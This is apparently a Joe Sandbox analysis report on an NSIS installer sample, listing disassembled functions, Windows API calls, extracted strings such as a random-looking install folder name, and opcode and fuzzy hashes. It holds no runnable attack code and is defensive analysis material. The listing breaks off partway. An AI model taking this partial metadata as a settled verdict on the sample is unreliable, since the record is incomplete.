String ID: /D=$ _?=$Error launching installer$NCRC$NSIS Error$SeShutdownPrivilege$\Temp$~nsu.tmp
API String ID: 2435955865-3712954417
Opcode ID: aec89c4631a4f28101b36bf3f0ee1ca0be396cf3d13a1cbdd2f96bcbf360b5e4
Instruction ID: 6e3717b9be2730fff72f59090edb21b77de3e5055cb75e9aafb2752c1f1d7b94
Opcode Fuzzy Hash: aec89c4631a4f28101b36bf3f0ee1ca0be396cf3d13a1cbdd2f96bcbf360b5e4
Instruction Fuzzy Hash: 1DA1E6715443117AD720BF629C4AE1B7EACAB0470AF10443FF545B62D2D7BD8A448BAE

Function 00406301 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 14
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

FindFirstFileW.KERNELBASE(00461E18,00466A20,00461E18,004067FA,00461E18), ref: 0040630C
FindClose.KERNEL32(00000000), ref: 00406318

Strings

jF, xrefs: 00406302

Memory Dump Source

Source File: 00000000.00000002.1656046190.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1656024097.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1656081785.0000000000409000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1656100143.000000000040C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1656100143.0000000000420000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1656100143.0000000000428000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1656100143.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1656100143.0000000000439000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1656100143.000000000046B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1656392922.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Yn13dTQdcW.jbxd

Similarity

API ID: Find$CloseFileFirst
String ID: jF
API String ID: 2295610775-3349280890
Opcode ID: a5aa16d55819016c4e26a60e9ec5dfcaedf525e35b4e30500cf5e78c71265be2
Instruction ID: ae54cbf5f70e9060ab25dbcc7d0ddb8e13a77f3b50f8061b144b06f1ffcf0783
Opcode Fuzzy Hash: a5aa16d55819016c4e26a60e9ec5dfcaedf525e35b4e30500cf5e78c71265be2
Instruction Fuzzy Hash: C8D01231A141215BD7105778AD0C89B7E9CDF0A330366CA32F866F11F5D3348C2186ED

Function 00406328 Relevance: 4.5, APIs: 3, Instructions: 18
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleHandleA.KERNEL32(?,?,00000020,004038F2,00000008), ref: 00406336
LoadLibraryA.KERNELBASE(?,?,?,00000020,004038F2,00000008), ref: 00406341
GetProcAddress.KERNEL32(00000000), ref: 00406353

Memory Dump Source

Source File: 00000000.00000002.1656046190.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1656024097.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1656081785.0000000000409000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1656100143.000000000040C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1656100143.0000000000420000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1656100143.0000000000428000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1656100143.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1656100143.0000000000439000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1656100143.000000000046B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1656392922.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Yn13dTQdcW.jbxd

Similarity

API ID: AddressHandleLibraryLoadModuleProc
String ID:
API String ID: 310444273-0
Opcode ID: 2fa3fc2bddc204e922c82fa426c5bb1cc5fbaa7aed8e5e7daaeaf6592e3c6ac6
Instruction ID: 7c6873576e710d3586a353c563cf751ff2fc1cfd2ce2d1275f1b712779c4e249
Opcode Fuzzy Hash: 2fa3fc2bddc204e922c82fa426c5bb1cc5fbaa7aed8e5e7daaeaf6592e3c6ac6
Instruction Fuzzy Hash: A8D01232200111D7C7005FA5AD48A5FB77DAE95A11706843AF902F3171E734D911E6EC

Function 004015A0 Relevance: 56.4, APIs: 15, Strings: 17, Instructions: 351
sleepfilewindowCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

PostQuitMessage.USER32(00000000), ref: 00401648
Sleep.KERNELBASE(00000000,?,00000000,00000000,00000000), ref: 004016B2
SetForegroundWindow.USER32(?), ref: 004016CB
ShowWindow.USER32(?), ref: 00401753
ShowWindow.USER32(?), ref: 00401767
SetFileAttributesW.KERNEL32(00000000,00000000,?,000000F0), ref: 0040178C
CreateDirectoryW.KERNELBASE(?,00000000,00000000,0000005C,?,?,?,000000F0,?,000000F0), ref: 004017F4
GetLastError.KERNEL32(?,?,000000F0,?,000000F0), ref: 004017FE
GetLastError.KERNEL32(?,?,000000F0,?,000000F0), ref: 0040180B
GetFileAttributesW.KERNELBASE(?,?,?,000000F0,?,000000F0), ref: 0040182A
SetCurrentDirectoryW.KERNELBASE(?,004D70B0,?,000000E6,004100F0,?,?,?,000000F0,?,000000F0), ref: 00401885
MoveFileW.KERNEL32(00000000,?), ref: 00401908
GetFullPathNameW.KERNEL32(00000000,00002004,00000000,?,00000000,000000E3,004100F0,?,00000000,00000000,?,?,?,?,?,000000F0), ref: 00401975
GetShortPathNameW.KERNEL32(00000000,00000000,00002004), ref: 004019BF
SearchPathW.KERNELBASE(00000000,00000000,00000000,00002004,00000000,?,000000FF,?,00000000,00000000,?,?,?,?,?,000000F0), ref: 004019DE

Strings

CreateDirectory: "%s" (%d), xrefs: 004017BF
Rename on reboot: %s, xrefs: 00401943
CreateDirectory: can't create "%s" (err=%d), xrefs: 00401815
detailprint: %s, xrefs: 00401679
IfFileExists: file "%s" exists, jumping %d, xrefs: 004018AD
Rename: %s, xrefs: 004018F8
Sleep(%d), xrefs: 0040169D
SetFileAttributes: "%s":%08X, xrefs: 0040177B
Jump: %d, xrefs: 00401602
CreateDirectory: can't create "%s" - a file already exists, xrefs: 00401837
Aborting: "%s", xrefs: 0040161D
IfFileExists: file "%s" does not exist, jumping %d, xrefs: 004018C6
SetFileAttributes failed., xrefs: 004017A1
BringToFront, xrefs: 004016BD
CreateDirectory: "%s" created, xrefs: 00401849
Rename failed: %s, xrefs: 0040194B
Call: %d, xrefs: 0040165A

Memory Dump Source

Source File: 00000000.00000002.1656046190.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1656024097.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1656081785.0000000000409000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1656100143.000000000040C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1656100143.0000000000420000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1656100143.0000000000428000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1656100143.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1656100143.0000000000439000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1656100143.000000000046B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1656392922.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Yn13dTQdcW.jbxd

Similarity

API ID: FilePathWindow$AttributesDirectoryErrorLastNameShow$CreateCurrentForegroundFullMessageMovePostQuitSearchShortSleep
String ID: Aborting: "%s"$BringToFront$Call: %d$CreateDirectory: "%s" (%d)$CreateDirectory: "%s" created$CreateDirectory: can't create "%s" (err=%d)$CreateDirectory: can't create "%s" - a file already exists$IfFileExists: file "%s" does not exist, jumping %d$IfFileExists: file "%s" exists, jumping %d$Jump: %d$Rename failed: %s$Rename on reboot: %s$Rename: %s$SetFileAttributes failed.$SetFileAttributes: "%s":%08X$Sleep(%d)$detailprint: %s
API String ID: 2872004960-3619442763
Opcode ID: cb44afc3f00204bc7321e8aa54be61598e0149da34aa070ef9c2be04eb5c6a73
Instruction ID: d546d874ac51cf0a7c72b7d7aee7a5a926bf82a1b22bfeef9e4f81a1fba4758f
Opcode Fuzzy Hash: cb44afc3f00204bc7321e8aa54be61598e0149da34aa070ef9c2be04eb5c6a73
Instruction Fuzzy Hash: 9EB1F435A00214ABDB10BFA1DD55DAE3F69EF44324B21817FF806B61E2DA3D4E40C66D

Function 004054A5 Relevance: 48.3, APIs: 32, Instructions: 345
windowstringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SetWindowPos.USER32(?,00000000,00000000,00000000,00000000,00000013), ref: 004054E1
ShowWindow.USER32(?), ref: 004054FE
DestroyWindow.USER32 ref: 00405512
SetWindowLongW.USER32(?,00000000,00000000), ref: 0040552E
GetDlgItem.USER32(?,?), ref: 0040554F
SendMessageW.USER32(00000000,000000F3,00000000,00000000), ref: 00405563
IsWindowEnabled.USER32(00000000), ref: 0040556A
GetDlgItem.USER32(?,00000001), ref: 00405619
GetDlgItem.USER32(?,00000002), ref: 00405623
SetClassLongW.USER32(?,000000F2,?), ref: 0040563D
SendMessageW.USER32(0000040F,00000000,00000001,?), ref: 0040568E
GetDlgItem.USER32(?,00000003), ref: 00405734
ShowWindow.USER32(00000000,?), ref: 00405756
KiUserCallbackDispatcher.NTDLL(?,?), ref: 00405768
EnableWindow.USER32(?,?), ref: 00405783
GetSystemMenu.USER32(?,00000000,0000F060,00000001), ref: 00405799
EnableMenuItem.USER32(00000000), ref: 004057A0
SendMessageW.USER32(?,000000F4,00000000,00000001), ref: 004057B8
SendMessageW.USER32(?,00000401,00000002,00000000), ref: 004057CB
lstrlenW.KERNEL32(00451D98,?,00451D98,00476AA0), ref: 004057F4
SetWindowTextW.USER32(?,00451D98), ref: 00405808
ShowWindow.USER32(?,0000000A), ref: 0040593C

Memory Dump Source

Source File: 00000000.00000002.1656046190.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1656024097.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1656081785.0000000000409000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1656100143.000000000040C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1656100143.0000000000420000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1656100143.0000000000428000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1656100143.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1656100143.0000000000439000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1656100143.000000000046B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1656392922.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Yn13dTQdcW.jbxd

Similarity

API ID: Window$Item$MessageSend$Show$EnableLongMenu$CallbackClassDestroyDispatcherEnabledSystemTextUserlstrlen
String ID:
API String ID: 3282139019-0
Opcode ID: 368de82205cbc4940732e302d2e847697efd4030890e1d8fceca6bf2533b68ed
Instruction ID: f960999a9681c69a960cfafceaa395f4ab6c0ab2fcbff8166cb7657a87eea2d0
Opcode Fuzzy Hash: 368de82205cbc4940732e302d2e847697efd4030890e1d8fceca6bf2533b68ed
Instruction Fuzzy Hash: 13C189B1500A04FBDB216F61ED89E2B7BA9EB49715F00093EF506B11F1C6399881DF2E

Function 00405958 Relevance: 45.7, APIs: 15, Strings: 11, Instructions: 233
stringregistrylibraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00406328: GetModuleHandleA.KERNEL32(?,?,00000020,004038F2,00000008), ref: 00406336
Part of subcall function 00406328: LoadLibraryA.KERNELBASE(?,?,?,00000020,004038F2,00000008), ref: 00406341
Part of subcall function 00406328: GetProcAddress.KERNEL32(00000000), ref: 00406353

lstrcatW.KERNEL32(004DF0C0,00451D98,80000001,Control Panel\Desktop\ResourceLocale,00000000,00451D98,00000000,00000006,004CF0A0,-00000002,00000000,004E30C8,00403AED,?), ref: 004059DA
lstrlenW.KERNEL32(0046E220,?,?,?,0046E220,00000000,004D30A8,004DF0C0,00451D98,80000001,Control Panel\Desktop\ResourceLocale,00000000,00451D98,00000000,00000006,004CF0A0), ref: 00405A5C
lstrcmpiW.KERNEL32(0046E218,.exe,0046E220,?,?,?,0046E220,00000000,004D30A8,004DF0C0,00451D98,80000001,Control Panel\Desktop\ResourceLocale,00000000,00451D98,00000000), ref: 00405A6F
GetFileAttributesW.KERNEL32(0046E220), ref: 00405A7A

Part of subcall function 00405F7D: wsprintfW.USER32 ref: 00405F8A

LoadImageW.USER32(00000067,00000001,00000000,00000000,00008040,004D30A8), ref: 00405AE3
RegisterClassW.USER32(00476A40), ref: 00405B36
SystemParametersInfoW.USER32(00000030,00000000,?,00000000), ref: 00405B4E
CreateWindowExW.USER32(00000080,?,00000000,80000000,?,?,?,?,00000000,00000000,00000000), ref: 00405B87

Part of subcall function 00403EC1: SetWindowTextW.USER32(00000000,00476AA0), ref: 00403F5C

ShowWindow.USER32(00000005,00000000), ref: 00405BBD
LoadLibraryW.KERNELBASE(RichEd20), ref: 00405BCE
LoadLibraryW.KERNEL32(RichEd32), ref: 00405BD9
GetClassInfoW.USER32(00000000,RichEdit20A,00476A40), ref: 00405BE9
GetClassInfoW.USER32(00000000,RichEdit,00476A40), ref: 00405BF6
RegisterClassW.USER32(00476A40), ref: 00405BFF
DialogBoxParamW.USER32(?,00000000,004054A5,00000000), ref: 00405C1E

Strings

F, xrefs: 00405A22
RichEdit20A, xrefs: 00405BE2, 00405BE7
_Nb, xrefs: 00405AFD
.DEFAULT\Control Panel\International, xrefs: 004059C5
RichEdit, xrefs: 00405BF0
Control Panel\Desktop\ResourceLocale, xrefs: 0040599E
RichEd32, xrefs: 00405BD4
"F, xrefs: 00405A4B
.exe, xrefs: 00405A69
@jG, xrefs: 00405AF2
RichEd20, xrefs: 00405BC9

Memory Dump Source

Source File: 00000000.00000002.1656046190.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1656024097.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1656081785.0000000000409000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1656100143.000000000040C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1656100143.0000000000420000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1656100143.0000000000428000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1656100143.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1656100143.0000000000439000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1656100143.000000000046B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1656392922.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Yn13dTQdcW.jbxd

Similarity

API ID: ClassLoad$InfoLibraryWindow$Register$AddressAttributesCreateDialogFileHandleImageModuleParamParametersProcShowSystemTextlstrcatlstrcmpilstrlenwsprintf
String ID: F$"F$.DEFAULT\Control Panel\International$.exe$@jG$Control Panel\Desktop\ResourceLocale$RichEd20$RichEd32$RichEdit$RichEdit20A$_Nb
API String ID: 608394941-2746725676
Opcode ID: ff750bfe5142f8154025b48725ed66ec952ceebe161b5cb34577f361fd6f9efb
Instruction ID: c846f8899feab6000a015ad3d9ba4b80e1385b5ee8e185a3118195eaaf4def2f
Opcode Fuzzy Hash: ff750bfe5142f8154025b48725ed66ec952ceebe161b5cb34577f361fd6f9efb
Instruction Fuzzy Hash: 53719175600705AEE710AB65AD89E2B37ACEB44718F00453FF906B62E2D778AC41CF6D

Function 00401A1F Relevance: 22.9, APIs: 5, Strings: 8, Instructions: 185
stringtimeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 004062CF: lstrlenW.KERNEL32(RMDir: RemoveDirectory invalid input(""),00406EA5,RMDir: RemoveDirectory("%s"),?,?,?), ref: 004062DC
Part of subcall function 004062CF: wvsprintfW.USER32(00000000,?,?), ref: 004062F3

lstrcatW.KERNEL32(00000000,00000000,NormMimeThFreightNaturalInfrared,004D70B0,00000000,00000000), ref: 00401A76
CompareFileTime.KERNEL32(-00000014,?,NormMimeThFreightNaturalInfrared,NormMimeThFreightNaturalInfrared,00000000,00000000,NormMimeThFreightNaturalInfrared,004D70B0,00000000,00000000), ref: 00401AA0

Part of subcall function 00406035: lstrcpynW.KERNEL32(?,?,00002004,0040391D,00476AA0,NSIS Error), ref: 00406042

Part of subcall function 00404F9E: lstrlenW.KERNEL32(00445D80,00429574,74DF23A0,00000000), ref: 00404FD6
Part of subcall function 00404F9E: lstrlenW.KERNEL32(004034E5,00445D80,00429574,74DF23A0,00000000), ref: 00404FE6
Part of subcall function 00404F9E: lstrcatW.KERNEL32(00445D80,004034E5,004034E5,00445D80,00429574,74DF23A0,00000000), ref: 00404FF9
Part of subcall function 00404F9E: SetWindowTextW.USER32(00445D80,00445D80), ref: 0040500B
Part of subcall function 00404F9E: SendMessageW.USER32(?,00001004,00000000,00000000), ref: 00405031
Part of subcall function 00404F9E: SendMessageW.USER32(?,0000104D,00000000,00000001), ref: 0040504B
Part of subcall function 00404F9E: SendMessageW.USER32(?,00001013,?,00000000), ref: 00405059

Strings

File: error, user retry, xrefs: 00401B40
File: error, user abort, xrefs: 00401B53
File: skipped: "%s" (overwriteflag=%d), xrefs: 00401B81
NormMimeThFreightNaturalInfrared, xrefs: 00401A53, 00401A5C, 00401A69, 00401A8C, 00401AC2, 00401AD8, 00401AEF, 00401B07, 00401B5E, 00401B80, 00401BCE, 00401C10, 00401C19, 00401C23, 00401C29, 00401C3B
File: error, user cancel, xrefs: 00401B93
File: error creating "%s", xrefs: 00401AF0
File: overwriteflag=%d, allowskipfilesflag=%d, name="%s", xrefs: 00401A39
File: wrote %d to "%s", xrefs: 00401BD0

Memory Dump Source

Source File: 00000000.00000002.1656046190.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1656024097.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1656081785.0000000000409000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1656100143.000000000040C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1656100143.0000000000420000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1656100143.0000000000428000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1656100143.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1656100143.0000000000439000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1656100143.000000000046B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1656392922.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Yn13dTQdcW.jbxd

Similarity

API ID: MessageSendlstrlen$lstrcat$CompareFileTextTimeWindowlstrcpynwvsprintf
String ID: File: error creating "%s"$File: error, user abort$File: error, user cancel$File: error, user retry$File: overwriteflag=%d, allowskipfilesflag=%d, name="%s"$File: skipped: "%s" (overwriteflag=%d)$File: wrote %d to "%s"$NormMimeThFreightNaturalInfrared
API String ID: 4286501637-1175315670
Opcode ID: e66e3e702844fd7f079e7b10ae6de895f6d273da0ae026ac64afba16485083bb
Instruction ID: 90fa90950dbbf035c4f81507b49f49b55cd41b97b653845b504dd01eb698d819
Opcode Fuzzy Hash: e66e3e702844fd7f079e7b10ae6de895f6d273da0ae026ac64afba16485083bb
Instruction Fuzzy Hash: 8B512931901214BADB10BBB5CC46EEE3979EF05378B20423FF416B11E2DB3C9A518A6D

Function 004035B3 Relevance: 17.7, APIs: 5, Strings: 5, Instructions: 182
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetTickCount.KERNEL32 ref: 004035C4
GetModuleFileNameW.KERNEL32(00000000,004EB0D8,00002004,?,?,?,00000000,00403A73,?), ref: 004035E0

Part of subcall function 00405E7C: GetFileAttributesW.KERNELBASE(00000003,004035F3,004EB0D8,80000000,00000003,?,?,?,00000000,00403A73,?), ref: 00405E80
Part of subcall function 00405E7C: CreateFileW.KERNELBASE(?,?,00000001,00000000,?,00000001,00000000,?,?,?,00000000,00403A73,?), ref: 00405EA2

GetFileSize.KERNEL32(00000000,00000000,004EF0E0,00000000,004DB0B8,004DB0B8,004EB0D8,004EB0D8,80000000,00000003,?,?,?,00000000,00403A73,?), ref: 0040362C

Strings

Inst, xrefs: 00403698
Null, xrefs: 004036AA
soft, xrefs: 004036A1
Error launching installer, xrefs: 00403603
Installer integrity check has failed. Common causes includeincomplete download and damaged media. Contact theinstaller's author , xrefs: 004037F1

Memory Dump Source

Source File: 00000000.00000002.1656046190.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1656024097.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1656081785.0000000000409000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1656100143.000000000040C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1656100143.0000000000420000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1656100143.0000000000428000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1656100143.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1656100143.0000000000439000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1656100143.000000000046B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1656392922.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Yn13dTQdcW.jbxd

Similarity

API ID: File$AttributesCountCreateModuleNameSizeTick
String ID: Error launching installer$Inst$Installer integrity check has failed. Common causes includeincomplete download and damaged media. Contact theinstaller's author $Null$soft
API String ID: 4283519449-527102705
Opcode ID: 1c468bae64f21cc984bb13b12bce4b19fca03feff63e1d2e4bd855413efb252c
Instruction ID: dd9ffda97dac1e18d9081c595fe0b3a994810ea71df15e1d022794f6b5594c79
Opcode Fuzzy Hash: 1c468bae64f21cc984bb13b12bce4b19fca03feff63e1d2e4bd855413efb252c
Instruction Fuzzy Hash: 8551B8B1900214AFDB20DFA5DC85B9E7EACAB1435AF60857BF905B72D1C7389E408B5C

Function 0040337F Relevance: 15.9, APIs: 6, Strings: 3, Instructions: 175
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetTickCount.KERNEL32 ref: 004033F1
GetTickCount.KERNEL32 ref: 00403492
MulDiv.KERNEL32(7FFFFFFF,00000064,?), ref: 004034BB
wsprintfW.USER32 ref: 004034CE
WriteFile.KERNELBASE(00000000,00000000,00429574,00403792,00000000), ref: 004034FF
WriteFile.KERNEL32(00000000,00420170,?,00000000,00000000,00420170,?,000000FF,00000004,00000000,00000000,00000000), ref: 00403597

Strings

(]C, xrefs: 004033FD
pAB, xrefs: 004033AB
... %d%%, xrefs: 004034C8

Memory Dump Source

Source File: 00000000.00000002.1656046190.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1656024097.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1656081785.0000000000409000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1656100143.000000000040C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1656100143.0000000000420000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1656100143.0000000000428000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1656100143.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1656100143.0000000000439000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1656100143.000000000046B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1656392922.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Yn13dTQdcW.jbxd

Similarity

API ID: CountFileTickWrite$wsprintf
String ID: (]C$... %d%%$pAB
API String ID: 651206458-3635341587
Opcode ID: a825d6787153bf0de4e2119c04a804022ac971a8914dbc6ec561ebe6254ceb78
Instruction ID: 38da17626370685da8d32df628044978fcb9abff53cdf920ebdff1c577d6aec0
Opcode Fuzzy Hash: a825d6787153bf0de4e2119c04a804022ac971a8914dbc6ec561ebe6254ceb78
Instruction Fuzzy Hash: BE615D71900219EBCF10DF69ED8469E7FBCAB54356F10413BE810B72A0D7789E90CBA9

Function 00404F9E Relevance: 10.6, APIs: 7, Instructions: 73
stringwindowCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

lstrlenW.KERNEL32(00445D80,00429574,74DF23A0,00000000), ref: 00404FD6
lstrlenW.KERNEL32(004034E5,00445D80,00429574,74DF23A0,00000000), ref: 00404FE6
lstrcatW.KERNEL32(00445D80,004034E5,004034E5,00445D80,00429574,74DF23A0,00000000), ref: 00404FF9
SetWindowTextW.USER32(00445D80,00445D80), ref: 0040500B
SendMessageW.USER32(?,00001004,00000000,00000000), ref: 00405031
SendMessageW.USER32(?,0000104D,00000000,00000001), ref: 0040504B
SendMessageW.USER32(?,00001013,?,00000000), ref: 00405059

Part of subcall function 00406831: GetVersion.KERNEL32(00445D80,?,00000000,00404FD5,00445D80,00000000,00429574,74DF23A0,00000000), ref: 00406902

Memory Dump Source

Source File: 00000000.00000002.1656046190.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1656024097.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1656081785.0000000000409000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1656100143.000000000040C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1656100143.0000000000420000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1656100143.0000000000428000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1656100143.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1656100143.0000000000439000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1656100143.000000000046B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1656392922.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Yn13dTQdcW.jbxd

Similarity

API ID: MessageSend$lstrlen$TextVersionWindowlstrcat
String ID:
API String ID: 2740478559-0
Opcode ID: 3275530aef0c04b4202250623e45ea8dce7054cefbb9f1e0f944281260c15b48
Instruction ID: 2ad3572104664f977ebc3f2c903ed8e4223e657edd1a0c85de02785a0cf57670
Opcode Fuzzy Hash: 3275530aef0c04b4202250623e45ea8dce7054cefbb9f1e0f944281260c15b48
Instruction Fuzzy Hash: CD219DB1800518BBDF119F65CD849CFBFB9EF45714F10803AF905B22A1C7794A909B98

Function 00402713 Relevance: 7.0, APIs: 1, Strings: 3, Instructions: 42
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00406035: lstrcpynW.KERNEL32(?,?,00002004,0040391D,00476AA0,NSIS Error), ref: 00406042

WritePrivateProfileStringW.KERNEL32(?,?,?,00000000), ref: 0040278C

Strings

<RM>, xrefs: 00402713
NormMimeThFreightNaturalInfrared, xrefs: 00402770
WriteINIStr: wrote [%s] %s=%s in %s, xrefs: 00402775

Memory Dump Source

Source File: 00000000.00000002.1656046190.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1656024097.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1656081785.0000000000409000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1656100143.000000000040C000.00000004.00000001.01000000.00000003.sdmpDownload File
